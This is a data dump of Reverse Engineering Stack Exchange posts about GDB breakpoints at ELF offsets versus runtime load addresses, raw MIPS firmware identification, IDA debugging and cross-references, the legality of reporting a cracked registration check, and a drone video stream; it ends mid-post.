  <row Id="18922" PostTypeId="1" CreationDate="2018-07-30T05:04:57.727" Score="13" ViewCount="11536" Body="&lt;p&gt;First, generate a simple executable. (ignore the warnings, the executable runs anyway)&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'main(){puts(&quot;123&quot;);}'|gcc -x c - -o a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Load it with &lt;code&gt;gdb a&lt;/code&gt;, then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info file&#xA;Symbols from &quot;/home/user202729/PINCE/a&quot;.&#xA;Local exec file:&#xA;        `/home/user202729/PINCE/a', file type elf64-x86-64.&#xA;        Entry point: 0x520&#xA;        [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set some breakpoints:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) b _start&#xA;Breakpoint 1 at 0x520&#xA;(gdb) b *0x520&#xA;Note: breakpoint 1 also set at pc 0x520.&#xA;Breakpoint 2 at 0x520&#xA;(gdb) info b&#xA;Num     Type           Disp Enb Address            What&#xA;1       breakpoint     keep y   0x0000000000000520 &amp;lt;_start&amp;gt;&#xA;2       breakpoint     keep y   0x0000000000000520 &amp;lt;_start&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(using gdb's &lt;a href=&quot;ftp://ftp.gnu.org/old-gnu/Manuals/gdb/html_node/gdb_28.html#SEC29&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;break&lt;/code&gt;&lt;/a&gt; command) Breakpoint 1 was set using &lt;code&gt;break &lt;i&gt;function&lt;/i&gt;&lt;/code&gt; syntax, and breakpoint 2 was set using &lt;code&gt;break *&lt;i&gt;address&lt;/i&gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) r&#xA;Starting program: /home/user202729/PINCE/a &#xA;Warning:&#xA;Cannot insert breakpoint 2.&#xA;Cannot access memory at address 0x520&#xA;&#xA;(gdb) info b&#xA;Num     Type           Disp Enb Address            What&#xA;1       breakpoint     keep y   0x0000555555554520 &amp;lt;_start&amp;gt;&#xA;2       breakpoint     keep y   0x0000000000000520 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What is the &lt;code&gt;0x0000000000000520&lt;/code&gt; or &lt;code&gt;0x0000555555554520&lt;/code&gt; above called?&lt;/li&gt;&#xA;&lt;li&gt;How can I set a breakpoint, given only &lt;code&gt;0x0000000000000520&lt;/code&gt;, without &lt;code&gt;0x0000555555554520&lt;/code&gt; or the symbol names? (just in case the executable is &lt;code&gt;strip&lt;/code&gt;ped)&lt;/li&gt;&#xA;&lt;li&gt;Or alternatively, is there a way to get the load address of &lt;code&gt;_start&lt;/code&gt; (i.e., &lt;code&gt;0x0000555555554520&lt;/code&gt;) in order to break there?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25171" LastEditorUserId="25171" LastEditDate="2018-07-30T09:41:51.327" LastActivityDate="2018-07-31T10:22:26.227" Title="How can breakpoint be set using offset in ELF file, not virtual address?" Tags="|gdb|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18923" PostTypeId="2" ParentId="18917" CreationDate="2018-07-30T06:27:27.463" Score="5" Body="&lt;p&gt;I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; binwalk --opcodes Image1.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;348           0x15C           MIPS instructions, function epilogue&#xA;516           0x204           MIPS instructions, function epilogue&#xA;652           0x28C           MIPS instructions, function epilogue&#xA;780           0x30C           MIPS instructions, function epilogue&#xA;1160          0x488           MIPS instructions, function epilogue&#xA;1268          0x4F4           MIPS instructions, function epilogue&#xA;2208          0x8A0           MIPS instructions, function epilogue&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, it really looks like a raw MIPS binary to me. I guess that this firmware is for a router or something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should just force your disassembler to take this file as raw MIPS and process it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: A '&lt;em&gt;raw binary&lt;/em&gt;' is just a file with raw opcodes in it without any specific recognizable format (such as ELF, PE or Mach-O). Raw formats are just intended to be mapped directly in memory without going through an operating system first. It is very common in the embedded software World.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2018-07-30T06:27:27.463" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18924" PostTypeId="2" ParentId="18922" CreationDate="2018-07-30T08:08:58.147" Score="8" Body="&lt;p&gt;No, in fact you misunderstood something. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address &lt;code&gt;0x0000000000000520&lt;/code&gt; is the offset from the beginning of the ELF file from the section &lt;code&gt;.text&lt;/code&gt; where the &lt;code&gt;_start&lt;/code&gt; procedure lies. And, the address &lt;code&gt;0x0000555555554520&lt;/code&gt; correspond to the address where the section &lt;code&gt;.text&lt;/code&gt; has been mapped by the operating system plus the offset of the procedure: &lt;code&gt;0x0000555555554000 + 0x0000000000000520&lt;/code&gt; (&lt;code&gt;.text&lt;/code&gt; section address + main procedure offset).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;gdb&lt;/code&gt; (without a &lt;code&gt;run&lt;/code&gt;) will only have the offset of the &lt;code&gt;.text&lt;/code&gt; section as if it was starting at zero. Then, after running the &lt;code&gt;_start&lt;/code&gt; procedure, the &lt;code&gt;.text&lt;/code&gt; section will be remapped within the virtual memory by the OS. This remapping happen when the loader is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, if you observe a difference between the two breakpoints, it is mainly because the first breakpoint has been set onto the symbol &lt;code&gt;_start&lt;/code&gt; and the other one has been set onto the address. The remapping of the symbol will be taken into account by &lt;code&gt;gdb&lt;/code&gt; but, an address is an address and it will not change anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, just after loading the executable file in &lt;code&gt;gdb&lt;/code&gt; (no &lt;code&gt;run&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) info files&#xA;Symbols from &quot;/tmp/a&quot;.&#xA;Local exec file:&#xA;    `/tmp/a', file type elf64-x86-64.&#xA;    Entry point: 0x1050&#xA;    0x00000000000002a8 - 0x00000000000002c4 is .interp&#xA;    0x00000000000002c4 - 0x00000000000002e4 is .note.ABI-tag&#xA;    0x00000000000002e4 - 0x0000000000000308 is .note.gnu.build-id&#xA;    0x0000000000000308 - 0x000000000000032c is .gnu.hash&#xA;    0x0000000000000330 - 0x00000000000003d8 is .dynsym&#xA;    0x00000000000003d8 - 0x000000000000045a is .dynstr&#xA;    0x000000000000045a - 0x0000000000000468 is .gnu.version&#xA;    0x0000000000000468 - 0x0000000000000488 is .gnu.version_r&#xA;    0x0000000000000488 - 0x0000000000000548 is .rela.dyn&#xA;    0x0000000000000548 - 0x0000000000000560 is .rela.plt&#xA;    0x0000000000001000 - 0x0000000000001017 is .init&#xA;    0x0000000000001020 - 0x0000000000001040 is .plt&#xA;    0x0000000000001040 - 0x0000000000001048 is .plt.got&#xA;    0x0000000000001050 - 0x00000000000011c2 is .text&#xA;    0x00000000000011c4 - 0x00000000000011cd is .fini&#xA;    0x0000000000002000 - 0x0000000000002008 is .rodata&#xA;    0x0000000000002008 - 0x0000000000002044 is .eh_frame_hdr&#xA;    0x0000000000002048 - 0x0000000000002150 is .eh_frame&#xA;    0x0000000000003de8 - 0x0000000000003df0 is .init_array&#xA;    0x0000000000003df0 - 0x0000000000003df8 is .fini_array&#xA;    0x0000000000003df8 - 0x0000000000003fd8 is .dynamic&#xA;    0x0000000000003fd8 - 0x0000000000004000 is .got&#xA;    0x0000000000004000 - 0x0000000000004020 is .got.plt&#xA;    0x0000000000004020 - 0x0000000000004030 is .data&#xA;    0x0000000000004030 - 0x0000000000004038 is .bss&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can see the &lt;code&gt;_start&lt;/code&gt; procedure is located exactly at the beginning of the &lt;code&gt;.text&lt;/code&gt; section:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disas 0x0000000000001050, 0x00000000000011c2&#xA;Dump of assembler code from 0x1050 to 0x11c2:&#xA;   0x0000000000001050 &amp;lt;_start+0&amp;gt;:   xor    %ebp,%ebp&#xA;   0x0000000000001052 &amp;lt;_start+2&amp;gt;:   mov    %rdx,%r9&#xA;   0x0000000000001055 &amp;lt;_start+5&amp;gt;:   pop    %rsi&#xA;   0x0000000000001056 &amp;lt;_start+6&amp;gt;:   mov    %rsp,%rdx&#xA;   0x0000000000001059 &amp;lt;_start+9&amp;gt;:   and    $0xfffffffffffffff0,%rsp&#xA;   0x000000000000105d &amp;lt;_start+13&amp;gt;:  push   %rax&#xA;   0x000000000000105e &amp;lt;_start+14&amp;gt;:  push   %rsp&#xA;   0x000000000000105f &amp;lt;_start+15&amp;gt;:  lea    0x15a(%rip),%r8  # 0x11c0 &amp;lt;__libc_csu_fini&amp;gt;&#xA;   0x0000000000001066 &amp;lt;_start+22&amp;gt;:  lea    0xe3(%rip),%rcx  # 0x1150 &amp;lt;__libc_csu_init&amp;gt;&#xA;   0x000000000000106d &amp;lt;_start+29&amp;gt;:  lea    0xc1(%rip),%rdi  # 0x1135 &amp;lt;main&amp;gt;&#xA;   0x0000000000001074 &amp;lt;_start+36&amp;gt;:  callq  *0x2f66(%rip)    # 0x3fe0&#xA;   0x000000000000107a &amp;lt;_start+42&amp;gt;:  hlt    &#xA;   0x000000000000107b:  nopl   0x0(%rax,%rax,1)&#xA;   0x0000000000001080 &amp;lt;deregister_tm_clones+0&amp;gt;: lea    0x2fa9(%rip),%rdi       &#xA;   0x0000000000001087 &amp;lt;deregister_tm_clones+7&amp;gt;: lea    0x2fa2(%rip),%rax &#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, once we hit the 'start' command (corresponding to a &lt;code&gt;tbreak main&lt;/code&gt; + &lt;code&gt;run&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) start&#xA;Temporary breakpoint 1 at 0x1139&#xA;Starting program: /tmp/a &#xA;&#xA;Temporary breakpoint 1, 0x0000555555555139 in main ()&#xA;(gdb) info files&#xA;Symbols from &quot;/tmp/a&quot;.&#xA;Native process:&#xA;    Using the running image of child process 22585.&#xA;    While running this, GDB does not access memory from...&#xA;Local exec file:&#xA;    `/tmp/a', file type elf64-x86-64.&#xA;    Entry point: 0x555555555050&#xA;    0x00005555555542a8 - 0x00005555555542c4 is .interp&#xA;    0x00005555555542c4 - 0x00005555555542e4 is .note.ABI-tag&#xA;    0x00005555555542e4 - 0x0000555555554308 is .note.gnu.build-id&#xA;    0x0000555555554308 - 0x000055555555432c is .gnu.hash&#xA;    0x0000555555554330 - 0x00005555555543d8 is .dynsym&#xA;    0x00005555555543d8 - 0x000055555555445a is .dynstr&#xA;    0x000055555555445a - 0x0000555555554468 is .gnu.version&#xA;    0x0000555555554468 - 0x0000555555554488 is .gnu.version_r&#xA;    0x0000555555554488 - 0x0000555555554548 is .rela.dyn&#xA;    0x0000555555554548 - 0x0000555555554560 is .rela.plt&#xA;    0x0000555555555000 - 0x0000555555555017 is .init&#xA;    0x0000555555555020 - 0x0000555555555040 is .plt&#xA;    0x0000555555555040 - 0x0000555555555048 is .plt.got&#xA;    0x0000555555555050 - 0x00005555555551c2 is .text&#xA;    0x00005555555551c4 - 0x00005555555551cd is .fini&#xA;    0x0000555555556000 - 0x0000555555556008 is .rodata&#xA;    0x0000555555556008 - 0x0000555555556044 is .eh_frame_hdr&#xA;    0x0000555555556048 - 0x0000555555556150 is .eh_frame&#xA;    0x0000555555557de8 - 0x0000555555557df0 is .init_array&#xA;    0x0000555555557df0 - 0x0000555555557df8 is .fini_array&#xA;    0x0000555555557df8 - 0x0000555555557fd8 is .dynamic&#xA;    0x0000555555557fd8 - 0x0000555555558000 is .got&#xA;    0x0000555555558000 - 0x0000555555558020 is .got.plt&#xA;    0x0000555555558020 - 0x0000555555558030 is .data&#xA;    ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that all sections have been remapped by the loader (and some sections have been added to handle the dynamic libraries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to know more about the loading process of executable under Linux, I would strongly advise you to take a look at &lt;a href=&quot;http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html&quot; rel=&quot;noreferrer&quot;&gt;this excellent article&lt;/a&gt; from Patrick Horgan. I think it will cover most of the questions you might have about this process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-07-30T09:34:07.487" LastActivityDate="2018-07-30T09:34:07.487" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18925" PostTypeId="2" ParentId="18922" CreationDate="2018-07-30T08:58:28.943" Score="10" Body="&lt;p&gt;The basic problem is that the load address is &lt;em&gt;not known&lt;/em&gt; until the file is actually mapped by the OS, and by that time it may be too late if the program is already running. Several workarounds for this may be possible:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if the file has symbols, use a symbolic breakpoint. GDB will automatically remap the breakpoint to the actual runtime address&lt;/li&gt;&#xA;&lt;li&gt;if the OS allows it, disable ASLR so that the load address will match the file address and you won't need to move the breakpoint&lt;/li&gt;&#xA;&lt;li&gt;patch the input file to insert a breakpoint opcode (e.g. &lt;code&gt;0xCC&lt;/code&gt; for x86/x64) at the desired location. GDB will stop due to an unexpected debug event.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;add a breakpoint &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/8748/60&quot;&gt;at an non-existent address&lt;/a&gt; (suggested by Zach Riggle). GDB will stop the program when it can't set a requested breakpoint, and at this point you can check the load address and adjust your breakpoints.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in recent GDB versions, the &lt;code&gt;starti&lt;/code&gt; command will stop the execution as soon as the program starts running. From &lt;a href=&quot;https://sourceware.org/gdb/download/onlinedocs/gdb/Starting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The ‘start’ command does the equivalent of setting a temporary&#xA;  breakpoint at the beginning of the main procedure and then invoking&#xA;  the ‘run’ command.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Some programs contain an &lt;em&gt;elaboration phase&lt;/em&gt; where some startup code is&#xA;  executed before the main procedure is called. This depends on the&#xA;  languages used to write your program. In C++, for instance,&#xA;  constructors for static and global objects are executed before main is&#xA;  called. It is therefore possible that the debugger stops before&#xA;  reaching the main procedure. However, the temporary breakpoint will&#xA;  remain to halt execution.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Specify the arguments to give to your program as arguments to the&#xA;  ‘start’ command. These arguments will be given verbatim to the&#xA;  underlying ‘run’ command. Note that the same arguments will be reused&#xA;  if no argument is provided during subsequent calls to ‘start’ or&#xA;  ‘run’.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is sometimes necessary to debug the program during elaboration. In&#xA;  these cases, using the start command would stop the execution of your&#xA;  program too late, as the program would have already completed the&#xA;  elaboration phase. Under these circumstances, either insert&#xA;  breakpoints in your elaboration code before running your program or&#xA;  use the &lt;code&gt;starti&lt;/code&gt; command.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2018-07-30T19:41:27.900" LastActivityDate="2018-07-30T19:41:27.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18926" PostTypeId="1" CreationDate="2018-07-30T10:58:27.433" Score="0" ViewCount="2143" Body="&lt;p&gt;In IDA pro, there is an option to attach to a process using the WinDbg backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I want is to see the process' control flow when the IDA attaches to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way (that I know) to see the process' flow is to put a breakpoint in a place that I think the process will hit and single-step from there (F8).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I don't know a place in the process where I can put a breakpoint, then I can't single-step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to see the process flow in assembly? hot to breakPoint and debug process that ida attached it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click on suspend(there is not an option named pause) I see that process breaks inside of &lt;code&gt;ntdll rtUserThreadStart&lt;/code&gt;. From there, I can't see where the process was before I clicked suspend.&lt;/p&gt;&#xA;" OwnerUserId="24892" LastEditorUserId="266" LastEditDate="2018-07-30T19:52:45.477" LastActivityDate="2018-07-30T19:52:45.477" Title="How to breakpoint atached process with ida when move on" Tags="|ida|assembly|debugging|windbg|breakpoint|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18928" PostTypeId="2" ParentId="18926" CreationDate="2018-07-30T13:51:00.587" Score="2" Body="&lt;p&gt;This happens due to way the Win32 debugging API implements process attaching. A new thread with &lt;code&gt;DbgBreakPoint&lt;/code&gt; call is injected by the OS to ensure that the process gets stopped, since it could be in unknown state otherwise, and this thread is what you see. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is inspect the thread list, switch to the main one (usually first in the list), set some breakpoints up in the call stack and resume the process - the debugbreak thread will exit and your process should stop on the breakpoint so you can debug it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/3988/60&quot;&gt;this approach&lt;/a&gt; by blabb.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-07-30T13:51:00.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18929" PostTypeId="2" ParentId="18922" CreationDate="2018-07-30T17:48:08.143" Score="5" Body="&lt;p&gt;You can't do this in vanilla gdb but if you are using &lt;a href=&quot;https://github.com/pwndbg/pwndbg&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;pwndbg&lt;/code&gt;&lt;/a&gt; you can. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command is called &lt;code&gt;breakrva&lt;/code&gt; or &lt;code&gt;brva&lt;/code&gt; for short. You can use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brva 0x520&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the program has to run.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-07-30T17:48:08.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18930" PostTypeId="1" CreationDate="2018-07-30T17:52:33.940" Score="4" ViewCount="927" Body="&lt;p&gt;When I press the  &lt;kbd&gt;X&lt;/kbd&gt; key (list x-refs) on a function (&lt;code&gt;sub_xyz&lt;/code&gt;) to see which functions call it, I only saw &lt;code&gt;dd offset sub_xyz&lt;/code&gt; twice, with no &lt;code&gt;call sub_xyz&lt;/code&gt; instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no another place that write &lt;code&gt;call sub_xyz&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I see which functions are calling &lt;code&gt;sub_xyz&lt;/code&gt;?&#xA;Is this just IDA being confused?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="2147" LastEditDate="2018-07-30T20:32:36.473" LastActivityDate="2018-07-31T09:02:41.850" Title="IDA function never called and only cross-referenced as data" Tags="|ida|disassembly|functions|control-flow-graph|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18931" PostTypeId="1" CreationDate="2018-07-30T19:40:05.680" Score="0" ViewCount="91" Body="&lt;p&gt;In IDA, I can see what calls a specific function by looking at the xrefs to it, or by looking 1 step back on stack trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the differences between them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does IDA know what the stack trace is? And how does IDA know what the xrefs to a specific function are?&lt;/p&gt;&#xA;" OwnerUserId="25109" LastEditorUserId="245" LastEditDate="2018-07-30T19:53:28.017" LastActivityDate="2018-07-30T19:57:33.910" Title="What is the difference between xrefs and stack trace?" Tags="|ida|functions|stack|callstack|call|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18932" PostTypeId="2" ParentId="18930" CreationDate="2018-07-30T19:44:42.927" Score="2" Body="&lt;p&gt;If there are no other references, this indicates there are no &lt;code&gt;call sub_xyz&lt;/code&gt; (that IDA identified, at least). Instead, IDA only identified one cross-reference to &lt;code&gt;sub_xyz&lt;/code&gt;, and that reference was a hardcoded offset in a data variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, there's a piece of code that accesses that data and indirectly calls the function, so you could search for cross-references to that data area. You should note the reference does not have to reference where the &lt;code&gt;sub_xyz&lt;/code&gt;'s offset it. Instead, &lt;code&gt;sub_xyz&lt;/code&gt;'s offset may be part of a bigger structure (or an array, or an array of structures), which may be enumerated. You'll need to search for references that point around that area (these could also be offsets to areas with higher addresses which are then being subtracted).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Lets have an example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Assume that when looking up cross-references to &lt;code&gt;sub_xyz&lt;/code&gt; you've found only one, at address &lt;code&gt;00008540&lt;/code&gt; depicted below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unk_00008538&#xA;    00008538    dd offset sub_foo&#xA;    0000853c    dd aFuncionFoo      ; &quot;Function Foo&quot;&#xA;    00008540    dd offset sub_xyz       &amp;lt;- our sub_xyz reference&#xA;    00008544    dd aFunctionXYZ     ; &quot;Function XYZ&quot;&#xA;    00008548    dd offset sub_abc&#xA;    0000854c    dd aFunctionABC     ; &quot;Function ABC&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can notice above &lt;code&gt;dd offset sub_xyz&lt;/code&gt; (located at address &lt;code&gt;00008540&lt;/code&gt;) you've got an offset to another subroutine, &lt;code&gt;sub_foo&lt;/code&gt; (located at &lt;code&gt;00008538&lt;/code&gt;), and that although there're no cross-references to &lt;code&gt;dd offset sub_xyz&lt;/code&gt; (at &lt;code&gt;00008540&lt;/code&gt;) there are cross-references to &lt;code&gt;dd offset sub_foo&lt;/code&gt; (at &lt;code&gt;00008538&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also notice there's another subroutine offset at &lt;code&gt;00008548&lt;/code&gt;, and that after every subroutine offset there's another offset, to a string that coincidentally has the function's name in it. This is obviously a relatively easy example and we can assume these are actually three instances of a structure with two members each, that may be define like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct FunctionDefinition&#xA;{&#xA;    void* func_addr;&#xA;    char* func_name;&#xA;} _FunctionDefinition;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can also guess we found an array of three instances of the &lt;code&gt;FunctionDefinition&lt;/code&gt; structure, and that some piece of code enumerates the array and traverses all the functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more sophisticated example can include, for example, an array of functions and their network message identifier, where a function handling a network command is dispatched depending on the type of message received, for example. You can also have found a global object of any class if you're dealing with C++, or perhaps even a function virtual table. The options are endless, and you'll need to figure it out using the specific scenario you encounter and and additional info you can gather (say, the code referencing that bigger structure or array).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-07-30T20:28:20.297" LastActivityDate="2018-07-30T20:28:20.297" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18933" PostTypeId="2" ParentId="18931" CreationDate="2018-07-30T19:57:33.910" Score="2" Body="&lt;p&gt;x-refs is just a static cross-reference in the binary that can be identified during static-analysis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you &lt;code&gt;main&lt;/code&gt; call &lt;code&gt;funcA&lt;/code&gt; you could tell that by looking at x-refs on &lt;code&gt;funcA&lt;/code&gt;. But you can't be sure that it will be in fact called during runtime - there might be some conditional jumps that only call &lt;code&gt;funcA&lt;/code&gt; in a certain state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stacktrace presents the actual calls at a given point so it's dynamic and might change after another instruction execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stack trace information is gathered by looking at &lt;code&gt;EBP&lt;/code&gt; on the stack &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1412.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;ref&lt;/a&gt;. x-refs are done by analyzing the binary.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-07-30T19:57:33.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18935" PostTypeId="1" AcceptedAnswerId="18937" CreationDate="2018-07-30T23:20:18.503" Score="2" ViewCount="1735" Body="&lt;p&gt;I'm just curious. What if someone were to crack a program to get past a registration window/process and then bring this vulnerability to light? Can the owner/creator prosecute you for doing so, even if you were trying to help him or her?&lt;/p&gt;&#xA;" OwnerUserId="25185" LastEditorUserId="2147" LastEditDate="2018-07-31T06:49:26.847" LastActivityDate="2018-07-31T06:49:26.847" Title="What are the legal consequences of reverse engineering a program and telling the creator how you did it?" Tags="|law|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18937" PostTypeId="2" ParentId="18935" CreationDate="2018-07-30T23:49:07.463" Score="4" Body="&lt;p&gt;&lt;em&gt;I am not a lawyer. Basing your actions on anything I've written will be at your own risk. If searching for legal advice you should really consult an expert in the relevant legal field instead of community-driven sites&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, cracking a program is not the same as finding a vulnerability in it. Although cracking a program may cause financial damages to the manufacturer, it does not pose any risk to the users. Additionally, except for unique &lt;a href=&quot;https://en.wikipedia.org/wiki/Digital_rights_management&quot; rel=&quot;nofollow noreferrer&quot;&gt;DRM&lt;/a&gt;-ed software and where advanced anti-theft features are in place, manufacturers do not tend to combat cracks &lt;em&gt;too&lt;/em&gt; thoroughly, piracy is an accepted lost of revenue to some extent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll start by pointing at a relevant Israeli proverb - &lt;a href=&quot;https://translate.google.com/translate?hl=en&amp;amp;sl=auto&amp;amp;tl=en&amp;amp;u=https%3A%2F%2Fhe.wikipedia.org%2Fwiki%2F%25D7%259C%25D7%2594%25D7%25A9%25D7%25AA%25D7%2599%25D7%259F_%25D7%259E%25D7%2594%25D7%259E%25D7%25A7%25D7%25A4%25D7%25A6%25D7%2594&quot; rel=&quot;nofollow noreferrer&quot;&gt;Peeing from the diving stand&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The statement is based on the fact that everyone knows that many pee in the swimming pool. While the general public prefers to ignore this wrongful act that it can not act against, the public will not stand in silence if someone does the same thing, peeing in the pool, from the diving stand.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This goes to say if you're doing something wrongful, which you're aware might have legal implications, you should at least do it in private and not boast about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, for the legality of cracking a piece of software and reporting that to the manufacturer; Although this greatly depends on the laws in the country / state you live in, it is usually not &lt;em&gt;illegal per say&lt;/em&gt; but does violate most End User License Agreements, which you're bound to by using the software. Most software EULAs explicitly forbid any type of reverse engineering of the provided software and any of it's components. &lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-07-31T00:02:15.113" LastActivityDate="2018-07-31T00:02:15.113" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18938" PostTypeId="1" CreationDate="2018-07-31T03:03:59.230" Score="2" ViewCount="791" Body="&lt;p&gt;I am trying to view the video stream of the &lt;a href=&quot;http://www.protocolny.com/protocol-air/drones/with-camera/vento-wifi-drone.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;vento protocol air drone&lt;/a&gt; on my computer.  The final goal is to get the video stream into python or c++ for opencv; however, if i can just view it in a window that would work too.  This is my first reverse engineering project ever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drone communicates with the phone over wifi, It creates a hotspot which the phone connects to. Then through the &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.udirc.rcventowifi&amp;amp;hl=en_US&quot; rel=&quot;nofollow noreferrer&quot;&gt;app&lt;/a&gt; you can view the video and also control the drone.  The first thing i did was port scan it and found out it had udp port 67 (for dhcp I think) and 49153. I also captured the wireless traffic between my phone when I was streaming the video, but not controlling, in an attempt to identify what protocol it was using and implement it on the pc.  In the capture it has a bunch of udp packets of length 1516 coming from the drone to the phone and a few smaller packets.  I think the bigger packets are the video. 